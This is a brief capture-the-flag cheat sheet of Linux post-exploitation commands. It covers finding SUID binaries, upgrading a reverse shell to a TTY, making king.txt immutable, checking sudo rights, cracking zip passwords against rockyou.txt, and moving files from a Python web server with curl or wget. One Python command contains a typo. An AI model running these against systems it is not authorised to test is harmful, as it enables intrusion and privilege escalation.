  • Find SUID Bits: find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
  • TTY shell
    python 3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm Ctrl + z stty raw -echo;fg
  • chattr +i /root/king.txt #make file immutable
  • sudo -l
  • fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt /path/to/file
  • Start a Python WebServer for quick file sharing
    • Python 2: python2 -m SimpleHTTPServer <port>
    • Python 3: python3 -m http.server <port>
    • With either, use curl or wget to grab files
      • curl http://<hosting ip>:<port>/file > output
      • wget http://<hosting ip>:<port>/file > output